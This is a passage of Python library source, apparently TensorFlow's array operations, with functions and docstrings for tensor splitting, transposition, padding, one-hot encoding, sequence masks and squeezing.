setdiff1d(indices, mask_indices) out_values = gather(a.values, to_gather, name=name) return ops.IndexedSlices(out_values, out_indices, a.dense_shape) def split(value, num_or_size_splits, axis=0, num=None, name="split"): """Splits a tensor into sub tensors. If `num_or_size_splits` is an integer type, `num_split`, then splits `value` along dimension `axis` into `num_split` smaller tensors. Requires that `num_split` evenly divides `value.shape[axis]`. If `num_or_size_splits` is not an integer type, it is presumed to be a Tensor `size_splits`, then splits `value` into `len(size_splits)` pieces. The shape of the `i`-th piece has the same size as the `value` except along dimension `axis` where the size is `size_splits[i]`. For example: ```python # 'value' is a tensor with shape [5, 30] # Split 'value' into 3 tensors with sizes [4, 15, 11] along dimension 1 split0, split1, split2 = tf.split(value, [4, 15, 11], 1) tf.shape(split0) ==> [5, 4] tf.shape(split1) ==> [5, 15] tf.shape(split2) ==> [5, 11] # Split 'value' into 3 tensors along dimension 1 split0, split1, split2 = tf.split(value, num_or_size_splits=3, axis=1) tf.shape(split0) ==> [5, 10] ``` Args: value: The `Tensor` to split. num_or_size_splits: Either a 0-D integer `Tensor` indicating the number of splits along split_dim or a 1-D integer `Tensor` integer tensor containing the sizes of each output tensor along split_dim. If a scalar then it must evenly divide `value.shape[axis]`; otherwise the sum of sizes along the split dimension must match that of the `value`. axis: A 0-D `int32` `Tensor`. The dimension along which to split. Must be in the range `[-rank(value), rank(value))`. Defaults to 0. num: Optional, used to specify the number of outputs when it cannot be inferred from the shape of `size_splits`. name: A name for the operation (optional). Returns: if `num_or_size_splits` is a scalar returns `num_or_size_splits` `Tensor` objects; if `num_or_size_splits` is a 1-D Tensor returns `num_or_size_splits.get_shape[0]` `Tensor` objects resulting from splitting `value`. Raises: ValueError: If `num` is unspecified and cannot be inferred. """ size_splits = ops.convert_to_tensor(num_or_size_splits) if size_splits.get_shape().ndims == 0 and size_splits.dtype.is_integer: return gen_array_ops._split( split_dim=axis, num_split=num_or_size_splits, value=value, name=name) else: if num is None: size_splits_shape = size_splits.get_shape() num = size_splits_shape.dims[0] if num._value is None: raise ValueError("Cannot infer num from shape %s" % num_or_size_splits) return gen_array_ops._split_v( value=value, size_splits=size_splits, split_dim=axis, num_split=num, name=name) def transpose(a, perm=None, name="transpose"): """Transposes `a`. Permutes the dimensions according to `perm`. The returned tensor's dimension i will correspond to the input dimension `perm[i]`. If `perm` is not given, it is set to (n-1...0), where n is the rank of the input tensor. Hence by default, this operation performs a regular matrix transpose on 2-D input Tensors. For example: ```python # 'x' is [[1 2 3] # [4 5 6]] tf.transpose(x) ==> [[1 4] [2 5] [3 6]] # Equivalently tf.transpose(x, perm=[1, 0]) ==> [[1 4] [2 5] [3 6]] # 'perm' is more useful for n-dimensional tensors, for n > 2 # 'x' is [[[1 2 3] # [4 5 6]] # [[7 8 9] # [10 11 12]]] # Take the transpose of the matrices in dimension-0 tf.transpose(x, perm=[0, 2, 1]) ==> [[[1 4] [2 5] [3 6]] [[7 10] [8 11] [9 12]]] ``` Args: a: A `Tensor`. perm: A permutation of the dimensions of `a`. name: A name for the operation (optional). Returns: A transposed `Tensor`. """ with ops.name_scope(name, "transpose", [a]) as name: if perm is None: rank = gen_array_ops.rank(a) perm = (rank - 1) - gen_math_ops._range(0, rank, 1) ret = gen_array_ops.transpose(a, perm, name=name) # NOTE(mrry): Setting the shape explicitly because # reverse is not handled by the shape function. input_shape = ret.op.inputs[0].get_shape().dims if input_shape is not None: ret.set_shape(input_shape[::-1]) else: ret = gen_array_ops.transpose(a, perm, name=name) return ret # pylint: disable=invalid-name def matrix_transpose(a, name="matrix_transpose"): """Transposes last two dimensions of tensor `a`. For example: ```python # Matrix with no batch dimension. # 'x' is [[1 2 3] # [4 5 6]] tf.matrix_transpose(x) ==> [[1 4] [2 5] [3 6]] # Matrix with two batch dimensions. # x.shape is [1, 2, 3, 4] # tf.matrix_transpose(x) is shape [1, 2, 4, 3] ``` Note that `tf.matmul` provides kwargs allowing for transpose of arguments. This is done with minimal cost, and is preferable to using this function. E.g. ``` # Good! Transpose is taken at minimal additional cost. tf.matmul(matrix, b, transpose_b=True) # Inefficient! tf.matmul(matrix, tf.matrix_transpose(b)) ``` Args: a: A `Tensor` with `rank >= 2`. name: A name for the operation (optional). Returns: A transposed batch matrix `Tensor`. Raises: ValueError: If `a` is determined statically to have `rank < 2`. """ with ops.name_scope(name, values=[a]): a = ops.convert_to_tensor(a, name="a") # If we know the number of dimensions (statically), we can do two things: # 1. Check that `a` is a (batch) matrix. # 2. Use a python list for perm. This preserves static shape information # and avoids extra computations. a_shape = a.get_shape() ndims = a_shape.ndims if ndims is not None: if ndims < 2: raise ValueError( "Argument 'a' should be a (batch) matrix, with rank >= 2. Found: " "%s" % a_shape) perm = list(range(ndims - 2)) + [ndims - 1] + [ndims - 2] else: a_rank = rank(a) perm = concat( (gen_math_ops._range(0, a_rank - 2, 1), [a_rank - 1, a_rank - 2]), 0) return transpose(a, perm=perm) # pylint: enable=invalid-name def zeros(shape, dtype=dtypes.float32, name=None): """Creates a tensor with all elements set to zero. This operation returns a tensor of type `dtype` with shape `shape` and all elements set to zero. For example: ```python tf.zeros([3, 4], tf.int32) ==> [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]] ``` Args: shape: A list of integers, a tuple of integers, or a 1-D `Tensor` of type `int32`. dtype: The type of an element in the resulting `Tensor`. name: A name for the operation (optional). Returns: A `Tensor` with all elements set to zero. """ dtype = dtypes.as_dtype(dtype).base_dtype with ops.name_scope(name, "zeros", [shape]) as name: if dtype == dtypes.bool: zero = False elif dtype == dtypes.string: zero = "" else: zero = 0 try: shape = tensor_shape.as_shape(shape) output = constant(zero, shape=shape, dtype=dtype, name=name) except (TypeError, ValueError): shape = ops.convert_to_tensor(shape, dtype=dtypes.int32, name="shape") output = fill(shape, constant(zero, dtype=dtype), name=name) assert output.dtype.base_dtype == dtype return output def zeros_like(tensor, dtype=None, name=None, optimize=True): """Creates a tensor with all elements set to zero. Given a single tensor (`tensor`), this operation returns a tensor of the same type and shape as `tensor` with all elements set to zero. Optionally, you can use `dtype` to specify a new type for the returned tensor. For example: ```python # 'tensor' is [[1, 2, 3], [4, 5, 6]] tf.zeros_like(tensor) ==> [[0, 0, 0], [0, 0, 0]] ``` Args: tensor: A `Tensor`. dtype: A type for the returned `Tensor`. Must be `float32`, `float64`, `int8`, `int16`, `int32`, `int64`, `uint8`, `complex64`, or `complex128`. name: A name for the operation (optional). optimize: if true, attempt to statically determine the shape of 'tensor' and encode it as a constant. Returns: A `Tensor` with all elements set to zero. """ with ops.name_scope(name, "zeros_like", [tensor]) as name: tensor = ops.convert_to_tensor(tensor, name="tensor") if tensor.shape.is_fully_defined(): # We can produce a zeros tensor independent of the value of 'tensor', # since the shape is known statically. return zeros(tensor.shape, dtype=dtype or tensor.dtype, name=name) if dtype is not None and dtype != tensor.dtype: return zeros(shape_internal(tensor, optimize=optimize), dtype=dtype, name=name) else: return gen_array_ops._zeros_like(tensor, name=name) def ones_like(tensor, dtype=None, name=None, optimize=True): """Creates a tensor with all elements set to 1. Given a single tensor (`tensor`), this operation returns a tensor of the same type and shape as `tensor` with all elements set to 1. Optionally, you can specify a new type (`dtype`) for the returned tensor. For example: ```python # 'tensor' is [[1, 2, 3], [4, 5, 6]] tf.ones_like(tensor) ==> [[1, 1, 1], [1, 1, 1]] ``` Args: tensor: A `Tensor`. dtype: A type for the returned `Tensor`. Must be `float32`, `float64`, `int8`, `int16`, `int32`, `int64`, `uint8`, `complex64`, `complex128` or `bool`. name: A name for the operation (optional). optimize: if true, attempt to statically determine the shape of 'tensor' and encode it as a constant. Returns: A `Tensor` with all elements set to 1. """ with ops.name_scope(name, "ones_like", [tensor]) as name: tensor = ops.convert_to_tensor(tensor, name="tensor") ones_shape = shape_internal(tensor, optimize=optimize) if dtype is None: dtype = tensor.dtype ret = ones(ones_shape, dtype=dtype, name=name) ret.set_shape(tensor.get_shape()) return ret def ones(shape, dtype=dtypes.float32, name=None): """Creates a tensor with all elements set to 1. This operation returns a tensor of type `dtype` with shape `shape` and all elements set to 1. For example: ```python tf.ones([2, 3], tf.int32) ==> [[1, 1, 1], [1, 1, 1]] ``` Args: shape: A list of integers, a tuple of integers, or a 1-D `Tensor` of type `int32`. dtype: The type of an element in the resulting `Tensor`. name: A name for the operation (optional). Returns: A `Tensor` with all elements set to 1. """ dtype = dtypes.as_dtype(dtype).base_dtype with ops.name_scope(name, "ones", [shape]) as name: one = True if dtype == dtypes.bool else 1 try: shape = tensor_shape.as_shape(shape) output = constant(one, shape=shape, dtype=dtype, name=name) except (TypeError, ValueError): shape = ops.convert_to_tensor(shape, dtype=dtypes.int32, name="shape") output = fill(shape, constant(one, dtype=dtype), name=name) assert output.dtype.base_dtype == dtype return output def placeholder(dtype, shape=None, name=None): """Inserts a placeholder for a tensor that will be always fed. **Important**: This tensor will produce an error if evaluated. Its value must be fed using the `feed_dict` optional argument to `Session.run()`, `Tensor.eval()`, or `Operation.run()`. For example: ```python x = tf.placeholder(tf.float32, shape=(1024, 1024)) y = tf.matmul(x, x) with tf.Session() as sess: print(sess.run(y)) # ERROR: will fail because x was not fed. rand_array = np.random.rand(1024, 1024) print(sess.run(y, feed_dict={x: rand_array})) # Will succeed. ``` Args: dtype: The type of elements in the tensor to be fed. shape: The shape of the tensor to be fed (optional). If the shape is not specified, you can feed a tensor of any shape. name: A name for the operation (optional). Returns: A `Tensor` that may be used as a handle for feeding a value, but not evaluated directly. """ return gen_array_ops._placeholder(dtype=dtype, shape=shape, name=name) # pylint: disable=redefined-outer-name def _normalize_sparse_shape(shape, name): """Takes numpy array or Tensor or None and returns either None or Tensor.""" if shape is None: return None if not isinstance(shape, ops.Tensor): for el in shape: if el is None: return None return ops.convert_to_tensor(shape, name=name) def sparse_placeholder(dtype, shape=None, name=None): """Inserts a placeholder for a sparse tensor that will be always fed. **Important**: This sparse tensor will produce an error if evaluated. Its value must be fed using the `feed_dict` optional argument to `Session.run()`, `Tensor.eval()`, or `Operation.run()`. For example: ```python x = tf.sparse_placeholder(tf.float32) y = tf.sparse_reduce_sum(x) with tf.Session() as sess: print(sess.run(y)) # ERROR: will fail because x was not fed. indices = np.array([[3, 2, 0], [4, 5, 1]], dtype=np.int64) values = np.array([1.0, 2.0], dtype=np.float32) shape = np.array([7, 9, 2], dtype=np.int64) print(sess.run(y, feed_dict={ x: tf.SparseTensorValue(indices, values, shape)})) # Will succeed. print(sess.run(y, feed_dict={ x: (indices, values, shape)})) # Will succeed. sp = tf.SparseTensor(indices=indices, values=values, dense_shape=shape) sp_value = sp.eval(session=sess) print(sess.run(y, feed_dict={x: sp_value})) # Will succeed. ``` Args: dtype: The type of `values` elements in the tensor to be fed. shape: The shape of the tensor to be fed (optional). If the shape is not specified, you can feed a sparse tensor of any shape. name: A name for prefixing the operations (optional). Returns: A `SparseTensor` that may be used as a handle for feeding a value, but not evaluated directly. """ shape_name = (name + "/shape") if name is not None else None shape = _normalize_sparse_shape(shape, shape_name) if shape is None: shape = placeholder(dtypes.int64, shape=[None], name=shape_name) return sparse_tensor.SparseTensor( values=placeholder( dtype, shape=[None], name=(name + "/values") if name is not None else None), indices=placeholder( dtypes.int64, shape=[None, None], name=(name + "/indices") if name is not None else None), dense_shape=shape) # pylint: enable=redefined-outer-name def pad(tensor, paddings, mode="CONSTANT", name=None): # pylint: disable=invalid-name """Pads a tensor. This operation pads a `tensor` according to the `paddings` you specify. `paddings` is an integer tensor with shape `[n, 2]`, where n is the rank of `tensor`. For each dimension D of `input`, `paddings[D, 0]` indicates how many values to add before the contents of `tensor` in that dimension, and `paddings[D, 1]` indicates how many values to add after the contents of `tensor` in that dimension. If `mode` is "REFLECT" then both `paddings[D, 0]` and `paddings[D, 1]` must be no greater than `tensor.dim_size(D) - 1`. If `mode` is "SYMMETRIC" then both `paddings[D, 0]` and `paddings[D, 1]` must be no greater than `tensor.dim_size(D)`. The padded size of each dimension D of the output is: `paddings[D, 0] + tensor.dim_size(D) + paddings[D, 1]` For example: ```python # 't' is [[1, 2, 3], [4, 5, 6]]. # 'paddings' is [[1, 1,], [2, 2]]. # rank of 't' is 2. pad(t, paddings, "CONSTANT") ==> [[0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 2, 3, 0, 0], [0, 0, 4, 5, 6, 0, 0], [0, 0, 0, 0, 0, 0, 0]] pad(t, paddings, "REFLECT") ==> [[6, 5, 4, 5, 6, 5, 4], [3, 2, 1, 2, 3, 2, 1], [6, 5, 4, 5, 6, 5, 4], [3, 2, 1, 2, 3, 2, 1]] pad(t, paddings, "SYMMETRIC") ==> [[2, 1, 1, 2, 3, 3, 2], [2, 1, 1, 2, 3, 3, 2], [5, 4, 4, 5, 6, 6, 5], [5, 4, 4, 5, 6, 6, 5]] ``` Args: tensor: A `Tensor`. paddings: A `Tensor` of type `int32`. mode: One of "CONSTANT", "REFLECT", or "SYMMETRIC" (case-insensitive) name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `tensor`. Raises: ValueError: When mode is not one of "CONSTANT", "REFLECT", or "SYMMETRIC". """ # Convert lower/mixed case to upper for NumPy compatibility # NumPy uses all lower-case modes. mode = mode.upper() if mode == "CONSTANT": return gen_array_ops._pad(tensor, paddings, name=name) if mode == "REFLECT": return gen_array_ops._mirror_pad(tensor, paddings, mode="REFLECT", name=name) if mode == "SYMMETRIC": return gen_array_ops._mirror_pad(tensor, paddings, mode="SYMMETRIC", name=name) raise ValueError("Unknown padding mode: %s" % mode) def meshgrid(*args, **kwargs): """Broadcasts parameters for evaluation on an N-D grid. Given N one-dimensional coordinate arrays `*args`, returns a list `outputs` of N-D coordinate arrays for evaluating expressions on an N-D grid. Notes: `meshgrid` supports cartesian ('xy') and matrix ('ij') indexing conventions. When the `indexing` argument is set to 'xy' (the default), the broadcasting instructions for the first two dimensions are swapped. Examples: Calling `X, Y = meshgrid(x, y)` with the tensors ```python x = [1, 2, 3] y = [4, 5, 6] ``` results in ```python X = [[1, 2, 3], [1, 2, 3], [1, 2, 3]] Y = [[4, 4, 4], [5, 5, 5], [6, 6, 6]] ``` Args: *args: `Tensor`s with rank 1. indexing: Either 'xy' or 'ij' (optional, default: 'xy'). name: A name for the operation (optional). Returns: outputs: A list of N `Tensor`s with rank N. """ indexing = kwargs.pop("indexing", "xy") name = kwargs.pop("name", "meshgrid") if kwargs: key = list(kwargs.keys())[0] raise TypeError("'{}' is an invalid keyword argument " "for this function".format(key)) if indexing not in ("xy", "ij"): raise ValueError("indexing parameter must be either 'xy' or 'ij'") with ops.name_scope(name, "meshgrid", args) as name: ndim = len(args) s0 = (1,) * ndim # Prepare reshape by inserting dimensions with size 1 where needed output = [] for i, x in enumerate(args): output.append(reshape(stack(x), (s0[:i] + (-1,) + s0[i + 1::])) ) # Create parameters for broadcasting each tensor to the full size shapes = [size(x) for x in args] output_dtype = ops.convert_to_tensor(args[0]).dtype.base_dtype if indexing == "xy" and ndim > 1: output[0] = reshape(output[0], (1, -1) + (1,)*(ndim - 2)) output[1] = reshape(output[1], (-1, 1) + (1,)*(ndim - 2)) shapes[0], shapes[1] = shapes[1], shapes[0] # TODO: improve performance with a broadcast mult_fact = ones(shapes, output_dtype) return [x * mult_fact for x in output] NEW_AXIS = -1 SHRINK_AXIS = -2 # PEP-8 naming # pylint: disable=invalid-name def _compute_size_of_strided_dim(shrink, spec, size): """Computes the size of a single strided slice dimension.""" unknown = None # Document what None means here. use_full_range = None # Document other use of None. # if this is a shrink axis (i.e. a non-range index) # it either will produce an error or return 1 if shrink: return 1 if size is unknown or size.value is unknown: return unknown size = size.value stride = spec.step if stride is not unknown: if stride == 0: return unknown stride = spec.step valid_range = [0, size] if stride > 0 else [-1, size - 1] # PEP-8 naming # pylint: disable=invalid-name def canonical(x, c): if x is use_full_range: return valid_range[c] if stride > 0 else valid_range[(c + 1) & 1] else: x_fwd = size + x if x < 0 else x # make negative indices positive return max(valid_range[0], min(valid_range[1], x_fwd)) begin = canonical(spec.start, 0) end = canonical(spec.stop, 1) interval_length = end - begin if interval_length == 0 or ((interval_length < 0) != (stride < 0)): return 0 else: remainder = 1 if interval_length % stride != 0 else 0 return interval_length // stride + remainder else: return unknown # unknown because stride is unknown def _TileGradShape(op): """Shape function for the TileGrad op.""" multiples_shape = op.inputs[1].get_shape().with_rank(1) input_shape = op.inputs[0].get_shape().with_rank(multiples_shape[0]) # NOTE(mrry): Represent `multiples` as a `TensorShape` because (i) # it is a vector of non-negative integers, and (ii) doing so allows # us to handle partially-known multiples. multiples = tensor_util.constant_value_as_shape(op.inputs[1]).with_rank( input_shape.ndims) if multiples.ndims is None: return [tensor_shape.unknown_shape()] else: output_dims = [] for dim, multiple in zip(input_shape.dims, multiples.dims): output_dims.append(dim // multiple) return [tensor_shape.TensorShape(output_dims)] def edit_distance(hypothesis, truth, normalize=True, name="edit_distance"): """Computes the Levenshtein distance between sequences. This operation takes variable-length sequences (`hypothesis` and `truth`), each provided as a `SparseTensor`, and computes the Levenshtein distance. You can normalize the edit distance by length of `truth` by setting `normalize` to true. For example, given the following input: ```python # 'hypothesis' is a tensor of shape `[2, 1]` with variable-length values: # (0,0) = ["a"] # (1,0) = ["b"] hypothesis = tf.SparseTensor( [[0, 0, 0], [1, 0, 0]], ["a", "b"] (2, 1, 1)) # 'truth' is a tensor of shape `[2, 2]` with variable-length values: # (0,0) = [] # (0,1) = ["a"] # (1,0) = ["b", "c"] # (1,1) = ["a"] truth = tf.SparseTensor( [[0, 1, 0], [1, 0, 0], [1, 0, 1], [1, 1, 0]] ["a", "b", "c", "a"], (2, 2, 2)) normalize = True ``` This operation would return the following: ```python # 'output' is a tensor of shape `[2, 2]` with edit distances normalized # by 'truth' lengths. output ==> [[inf, 1.0], # (0,0): no truth, (0,1): no hypothesis [0.5, 1.0]] # (1,0): addition, (1,1): no hypothesis ``` Args: hypothesis: A `SparseTensor` containing hypothesis sequences. truth: A `SparseTensor` containing truth sequences. normalize: A `bool`. If `True`, normalizes the Levenshtein distance by length of `truth.` name: A name for the operation (optional). Returns: A dense `Tensor` with rank `R - 1`, where R is the rank of the `SparseTensor` inputs `hypothesis` and `truth`. Raises: TypeError: If either `hypothesis` or `truth` are not a `SparseTensor`. """ if not isinstance( hypothesis, (sparse_tensor.SparseTensor, sparse_tensor.SparseTensorValue)): raise TypeError("Hypothesis must be a SparseTensor.") if not isinstance( truth, (sparse_tensor.SparseTensor, sparse_tensor.SparseTensorValue)): raise TypeError("Truth must be a SparseTensor.") return gen_array_ops._edit_distance(hypothesis.indices, hypothesis.values, hypothesis.dense_shape, truth.indices, truth.values, truth.dense_shape, normalize=normalize, name=name) @ops.RegisterGradient("FakeQuantWithMinMaxArgs") def _FakeQuantWithMinMaxArgsGradient(op, grad): """Gradient for FakeQuantWithMinMaxArgs op.""" return fake_quant_with_min_max_args_gradient( grad, op.inputs[0], min=op.get_attr("min"), max=op.get_attr("max"), num_bits=op.get_attr("num_bits"), narrow_range=op.get_attr("narrow_range")) @ops.RegisterGradient("FakeQuantWithMinMaxVars") def _FakeQuantWithMinMaxVarsGradient(op, grad): """Gradient for FakeQuantWithMinMaxVars op.""" return fake_quant_with_min_max_vars_gradient( grad, op.inputs[0], op.inputs[1], op.inputs[2], num_bits=op.get_attr("num_bits"), narrow_range=op.get_attr("narrow_range")) @ops.RegisterGradient("FakeQuantWithMinMaxVarsPerChannel") def _FakeQuantWithMinMaxVarsPerChannelGradient(op, grad): """Gradient for FakeQuantWithMinMaxVarsPerChannel op.""" return fake_quant_with_min_max_vars_per_channel_gradient( grad, op.inputs[0], op.inputs[1], op.inputs[2], num_bits=op.get_attr("num_bits"), narrow_range=op.get_attr("narrow_range")) def required_space_to_batch_paddings(input_shape, block_shape, base_paddings=None, name=None): """Calculate padding required to make block_shape divide input_shape. This function can be used to calculate a suitable paddings argument for use with space_to_batch_nd and batch_to_space_nd. Args: input_shape: int32 Tensor of shape [N]. block_shape: int32 Tensor of shape [N]. base_paddings: Optional int32 Tensor of shape [N, 2]. Specifies the minimum amount of padding to use. All elements must be >= 0. If not specified, defaults to 0. name: string. Optional name prefix. Returns: (paddings, crops), where: `paddings` and `crops` are int32 Tensors of rank 2 and shape [N, 2] satisfying: paddings[i, 0] = base_paddings[i, 0]. 0 <= paddings[i, 1] - base_paddings[i, 1] < block_shape[i] (input_shape[i] + paddings[i, 0] + paddings[i, 1]) % block_shape[i] == 0 crops[i, 0] = 0 crops[i, 1] = paddings[i, 1] - base_paddings[i, 1] Raises: ValueError if called with incompatible shapes. """ with ops.name_scope(name, "required_space_to_batch_paddings", [input_shape, block_shape]): input_shape = ops.convert_to_tensor(input_shape, dtype=dtypes.int32, name="input_shape") block_shape = ops.convert_to_tensor(block_shape, dtype=dtypes.int32, name="block_shape") block_shape.get_shape().assert_is_fully_defined() block_shape.get_shape().assert_has_rank(1) num_block_dims = block_shape.get_shape()[0].value if num_block_dims == 0: return zeros([0, 2], dtypes.int32), zeros([0, 2], dtypes.int32) input_shape.get_shape().assert_is_compatible_with([num_block_dims]) if base_paddings is not None: base_paddings = ops.convert_to_tensor(base_paddings, dtype=dtypes.int32, name="base_paddings") base_paddings.get_shape().assert_is_compatible_with([num_block_dims, 2]) else: base_paddings = zeros([num_block_dims, 2], dtypes.int32) const_block_shape = tensor_util.constant_value(block_shape) const_input_shape = tensor_util.constant_value(input_shape) const_base_paddings = tensor_util.constant_value(base_paddings) if (const_block_shape is not None and const_input_shape is not None and const_base_paddings is not None): block_shape = const_block_shape input_shape = const_input_shape base_paddings = const_base_paddings # Use same expression for both constant and non-constant case. pad_start = base_paddings[:, 0] orig_pad_end = base_paddings[:, 1] full_input_shape = input_shape + pad_start + orig_pad_end pad_end_extra = (block_shape - full_input_shape % block_shape) % block_shape pad_end = orig_pad_end + pad_end_extra result_paddings = stack( [[pad_start[i], pad_end[i]] for i in range(num_block_dims)], name="paddings") result_crops = stack( [[0, pad_end_extra[i]] for i in range(num_block_dims)], name="crops") return result_paddings, result_crops def space_to_batch(input, paddings, block_size, name=None): # pylint: disable=redefined-builtin result = space_to_batch_nd(input, paddings=paddings, block_shape=np.array([block_size, block_size], dtype=np.int64), name=name) result.set_shape(result.get_shape().with_rank(4)) return result space_to_batch.__doc__ = gen_array_ops._space_to_batch.__doc__ def batch_to_space(input, crops, block_size, name=None): # pylint: disable=redefined-builtin result = batch_to_space_nd(input, crops=crops, block_shape=np.array([block_size, block_size], dtype=np.int64), name=name) result.set_shape(result.get_shape().with_rank(4)) return result batch_to_space.__doc__ = gen_array_ops._batch_to_space.__doc__ def one_hot(indices, depth, on_value=None, off_value=None, axis=None, dtype=None, name=None): """Returns a one-hot tensor. The locations represented by indices in `indices` take value `on_value`, while all other locations take value `off_value`. `on_value` and `off_value` must have matching data types. If `dtype` is also provided, they must be the same data type as specified by `dtype`. If `on_value` is not provided, it will default to the value `1` with type `dtype` If `off_value` is not provided, it will default to the value `0` with type `dtype` If the input `indices` is rank `N`, the output will have rank `N+1`. The new axis is created at dimension `axis` (default: the new axis is appended at the end). If `indices` is a scalar the output shape will be a vector of length `depth` If `indices` is a vector of length `features`, the output shape will be: ``` features x depth if axis == -1 depth x features if axis == 0 ``` If `indices` is a matrix (batch) with shape `[batch, features]`, the output shape will be: ``` batch x features x depth if axis == -1 batch x depth x features if axis == 1 depth x batch x features if axis == 0 ``` If `dtype` is not provided, it will attempt to assume the data type of `on_value` or `off_value`, if one or both are passed in. If none of `on_value`, `off_value`, or `dtype` are provided, `dtype` will default to the value `tf.float32`. Note: If a non-numeric data type output is desired (`tf.string`, `tf.bool`, etc.), both `on_value` and `off_value` _must_ be provided to `one_hot`. Examples ========= Suppose that ```python indices = [0, 2, -1, 1] depth = 3 on_value = 5.0 off_value = 0.0 axis = -1 ``` Then output is `[4 x 3]`: ```python output = [5.0 0.0 0.0] // one_hot(0) [0.0 0.0 5.0] // one_hot(2) [0.0 0.0 0.0] // one_hot(-1) [0.0 5.0 0.0] // one_hot(1) ``` Suppose that ```python indices = [[0, 2], [1, -1]] depth = 3 on_value = 1.0 off_value = 0.0 axis = -1 ``` Then output is `[2 x 2 x 3]`: ```python output = [ [1.0, 0.0, 0.0] // one_hot(0) [0.0, 0.0, 1.0] // one_hot(2) ][ [0.0, 1.0, 0.0] // one_hot(1) [0.0, 0.0, 0.0] // one_hot(-1) ] ``` Using default values for `on_value` and `off_value`: ```python indices = [0, 1, 2] depth = 3 ``` The output will be ```python output = [[1., 0., 0.], [0., 1., 0.], [0., 0., 1.]] ``` Args: indices: A `Tensor` of indices. depth: A scalar defining the depth of the one hot dimension. on_value: A scalar defining the value to fill in output when `indices[j] = i`. (default: 1) off_value: A scalar defining the value to fill in output when `indices[j] != i`. (default: 0) axis: The axis to fill (default: -1, a new inner-most axis). dtype: The data type of the output tensor. Returns: output: The one-hot tensor. Raises: TypeError: If dtype of either `on_value` or `off_value` don't match `dtype` TypeError: If dtype of `on_value` and `off_value` don't match one another """ with ops.name_scope(name, "one_hot", [indices, depth, on_value, off_value, axis, dtype]) as name: on_exists = on_value is not None off_exists = off_value is not None on_dtype = ops.convert_to_tensor(on_value).dtype.base_dtype if on_exists \ else None off_dtype = ops.convert_to_tensor(off_value).dtype.base_dtype if off_exists\ else None if on_exists or off_exists: if dtype is not None: # Ensure provided on_value and/or off_value match dtype if (on_exists and on_dtype != dtype): raise TypeError("dtype {0} of on_value does not match " \ "dtype parameter {1}".format(on_dtype, dtype)) if (off_exists and off_dtype != dtype): raise TypeError("dtype {0} of off_value does not match " \ "dtype parameter {1}".format(off_dtype, dtype)) else: # dtype not provided: automatically assign it dtype = on_dtype if on_exists else off_dtype elif dtype is None: # None of on_value, off_value, or dtype provided. Default dtype to float32 dtype = dtypes.float32 if not on_exists: # on_value not provided: assign to value 1 of type dtype on_value = ops.convert_to_tensor(1, dtype, name="on_value") on_dtype = dtype if not off_exists: # off_value not provided: assign to value 0 of type dtype off_value = ops.convert_to_tensor(0, dtype, name="off_value") off_dtype = dtype if on_dtype != off_dtype: raise TypeError("dtype {0} of on_value does not match " \ "dtype {1} of off_value".format(on_dtype, off_dtype)) return gen_array_ops._one_hot(indices, depth, on_value, off_value, axis, name) def sequence_mask(lengths, maxlen=None, dtype=dtypes.bool, name=None): """Return a mask tensor representing the first N positions of each row. Example: ```python tf.sequence_mask([1, 3, 2], 5) = [[True, False, False, False, False], [True, True, True, False, False], [True, True, False, False, False]] ``` Args: lengths: 1D integer tensor, all its values < maxlen. maxlen: scalar integer tensor, maximum length of each row. Default: use maximum over lengths. dtype: output type of the resulting tensor. name: name of the op. Returns: A 2D mask tensor, as shown in the example above, cast to specified dtype. Raises: ValueError: if the arguments have invalid rank. """ with ops.name_scope(name, "SequenceMask", [lengths, maxlen]): lengths = ops.convert_to_tensor(lengths) if lengths.get_shape().ndims != 1: raise ValueError("lengths must be 1D for sequence_mask") if maxlen is None: maxlen = gen_math_ops._max(lengths, [0]) else: maxlen = ops.convert_to_tensor(maxlen) if maxlen.get_shape().ndims != 0: raise ValueError("maxlen must be scalar for sequence_mask") # The basic idea is to compare a range row vector of size maxlen: # [0, 1, 2, 3, 4] # to length as a matrix with 1 column: [[1], [3], [2]]. # Because of broadcasting on both arguments this comparison results # in a matrix of size (len(lengths), maxlen) row_vector = gen_math_ops._range(constant(0, maxlen.dtype), maxlen, constant(1, maxlen.dtype)) # Since maxlen >= max(lengths), it is safe to use maxlen as a cast # authoritative type. Whenever maxlen fits into tf.int32, so do the lengths. matrix = gen_math_ops.cast(expand_dims(lengths, 1), maxlen.dtype) result = row_vector < matrix if dtype is None or result.dtype.base_dtype == dtype.base_dtype: return result else: return gen_math_ops.cast(result, dtype) def squeeze(input, axis=None, name=None, squeeze_dims=None): # pylint: disable=redefined-builtin """Removes dimensions of size 1 from the shape of a tensor. Given a tensor `input`, this operation returns a tensor of the same type with all dimensions of size 1 removed. If you don't want to remove all size 1 dimensions, you can remove specific size 1 dimensions by specifying `axis`. For example: ```python # 't' is a tensor of shape [1, 2, 1, 3, 1, 1] shape(squeeze(t)) # => [2, 3] ``` Or, to remove specific size 1 dimensions: ```python # 't' is a tensor of shape [1, 2, 1, 3, 1, 1] shape(squeeze(t, [2, 4])) # => [1, 2, 3, 1] ``` Args: input: A `Tensor`. The `input` to squeeze. axis: An optional list of `ints`. Defaults to `[]`. If specified, only squeezes the dimensions listed. The dimension index starts at 0. It is an error to squeeze a dimension that is not 1. name: A name for the operation (optional). squeeze_dims: Deprecated keyword argument that is now axis. Returns: A `Tensor`. Has the same type as `input`. Contains the same data as `input`, but has one or more dimensions of size 1 removed. Raises: ValueError: When both `squeeze_dims` and `axis` are specified. """ if squeeze_dims is not None: if axis is not None: raise ValueError("Cannot specify both 'squeeze_dims' and 'axis'") axis = squeeze_dims if np.isscalar(axis): axis = [axis] return gen_array_ops._squeeze(input, axis, name) def where(condition, x=None, y=None, name=None): """Return the elements, either from `x` or `y`, depending on the `condition`. If both `x` and `y` are None, then this operation returns the coordinates of true elements of `condition`. The coordinates are returned in a 2-D tensor where the first dimension (rows) represents the number of true elements, and the second dimension (columns) represents the coordinates of the true elements. Keep in mind, the shape of the output tensor can vary depending on how many true values there are in input. Indices are output in row-major order. If both non-None, `x` and `y` must have the same shape. The `condition` tensor must be a scalar if `x` and `y` are scalar. If `x` and `y` are vectors of higher rank, then `condition` must be either a vector with size matching the first dimension of `x`, or must have the same shape as `x`. The `condition` tensor acts as a mask that chooses, based on the value at each element, whether the corresponding element / row in the output should be taken from `x` (if true) or `y` (if false). If `condition` is a vector and `x` and `y` are higher rank matrices, then it chooses which row (outer dimension) to copy from `x` and `y`. If `condition` has the same shape as `x` and `y`, then it chooses which element to copy from `x` and `y`. Args: condition: A `Tensor` of type `bool` x: A 